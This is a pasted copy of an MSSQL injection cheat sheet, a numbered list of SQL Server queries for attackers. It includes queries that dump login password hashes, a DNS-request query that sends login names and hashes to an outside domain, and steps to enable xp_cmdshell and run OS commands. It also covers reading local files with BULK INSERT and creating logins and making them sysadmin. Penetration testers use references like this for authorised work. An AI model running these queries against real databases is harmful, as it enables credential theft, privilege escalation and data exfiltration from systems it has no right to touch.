MSSQL Injection Cheat Sheet


SUBMITTED BY: Guest

DATE: Nov. 26, 2013, 10:36 a.m.

FORMAT: Text only

SIZE: 7.4 kB

HITS: 2408

  1. MSSQL Injection Cheat Sheet
  2. Some useful syntax reminders for SQL Injection into MSSQL databases…
  3. This post is part of a series of SQL Injection Cheat Sheets. In this series, I’ve endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don’t apply and also areas that I haven’t got round to researching yet.
  4. [Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.]
  5. Version:
  6. SELECT @@version
  7. SELECT version()
  8. Comments:
  9. SELECT 1 — comment
  10. SELECT /*comment*/1
  11. Current User:
  12. SELECT user_name();
  13. SELECT system_user;
  14. SELECT user;
  15. SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  16. List Users:
  17. SELECT name FROM master..syslogins
  18. SELECT user_name(Nth) — Nth is a number from 0 upward
  19. List Password Hashes:
  20. SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
  21. SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.
  22. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
  23. SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
  24. List Privileges:
  25. SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — current database
  26. SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); — current server
  27. SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); –permissions on a table
  28. SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');
  29. –permissions on a user– current privs in 2005, 2008
  30. SELECT is_srvrolemember('sysadmin');
  31. SELECT is_srvrolemember('dbcreator');
  32. SELECT is_srvrolemember('bulkadmin');
  33. SELECT is_srvrolemember('diskadmin');
  34. SELECT is_srvrolemember('processadmin');
  35. SELECT is_srvrolemember('serveradmin');
  36. SELECT is_srvrolemember('setupadmin');
  37. SELECT is_srvrolemember('securityadmin');
  38. – who has a particular priv? 2005, 2008
  39. SELECT name FROM master..syslogins WHERE denylogin = 0;
  40. SELECT name FROM master..syslogins WHERE hasaccess = 1;
  41. SELECT name FROM master..syslogins WHERE isntname = 0;
  42. SELECT name FROM master..syslogins WHERE isntgroup = 0;
  43. SELECT name FROM master..syslogins WHERE sysadmin = 1;
  44. SELECT name FROM master..syslogins WHERE securityadmin = 1;
  45. SELECT name FROM master..syslogins WHERE serveradmin = 1;
  46. SELECT name FROM master..syslogins WHERE setupadmin = 1;
  47. SELECT name FROM master..syslogins WHERE processadmin = 1;
  48. SELECT name FROM master..syslogins WHERE diskadmin = 1;
  49. SELECT name FROM master..syslogins WHERE dbcreator = 1;
  50. SELECT name FROM master..syslogins WHERE bulkadmin = 1;
  51. List DBA Accounts:
  52. SELECT is_srvrolemember('sysadmin'); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try 'bulkadmin', 'systemadmin' and other values from the documentation
  53. SELECT is_srvrolemember('sysadmin', 'sa'); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
  54. SELECT name FROM master..syslogins WHERE sysadmin = '1' — tested on 2005
  55. Current Database:
  56. SELECT DB_NAME()
  57. List Databases:
  58. SELECT name FROM master..sysdatabases;
  59. SELECT DB_NAME(N); — for N = 0, 1, 2 ...
  60. List Columns:
  61. SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); — for the current DB only
  62. SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable
  63. List Tables:
  64. SELECT name FROM master..sysobjects WHERE xtype = 'U'; — use xtype = 'V' for views
  65. SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
  66. SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable
  67. Find Tables From Column Name:
  68. SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' — this lists table, column for each column containing the word 'password'
  69. Select Nth Row:
  70. SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
  71. Select Nth Char:
  72. SELECT substring('abcd', 3, 1) — returns c
  73. Bitwise AND:
  74. SELECT 6 & 2 — returns 2
  75. SELECT 6 & 1 — returns 0
  76. ASCII Value -> Char:
  77. SELECT char(0×41) — returns A
  78. Char -> ASCII Value:
  79. SELECT ascii('A') – returns 65
  80. Casting SELECT CAST('1' as int);
  81. SELECT CAST(1 as char)
  82. String Concatenation SELECT 'A' + 'B' – returns AB
  83. If Statement:
  84. IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1
  85. Case Statement:
  86. SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1
  87. Avoiding Quotes:
  88. SELECT char(65)+char(66) — returns AB
  89. Time Delay:
  90. WAITFOR DELAY '0:0:5' — pause for 5 seconds
  91. Make DNS Requests:
  92. declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails "\' + @host + 'c$boot.ini"'); — nonpriv, works on 2000declare @host varchar(800); select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist "\' + @host + 'c$boot.ini"'); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
  93. – Also check out theDNS tunnel feature of sqlninja
  94. Command Execution:
  95. EXEC xp_cmdshell 'net user'; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
  96. EXEC sp_configure 'show advanced options', 1; — priv
  97. RECONFIGURE; — priv
  98. EXEC sp_configure 'xp_cmdshell', 1; — priv
  99. RECONFIGURE; — priv
  100. Local File Access:
  101. CREATE TABLE mydata (line varchar(8000));
  102. BULK INSERT mydata FROM 'c:boot.ini'
  103. DROP TABLE mydata;
  104. Hostname, IP Address:
  105. SELECT HOST_NAME()
  106. Create Users:
  107. EXEC sp_addlogin 'user', 'pass'; — priv
  108. Drop Users:
  109. EXEC sp_droplogin 'user'; — priv
  110. Make User DBA:
  111. EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin'; — priv
  112. Location of DB files:
  113. EXEC sp_helpdb master; –location of master.mdf
  114. EXEC sp_helpdb pubs; –location of pubs.mdf
  115. Default/System Databases:
  116. northwind
  117. model
  118. msdb
  119. pubs — not on sql server 2005
  120. tempdb

comments powered by Disqus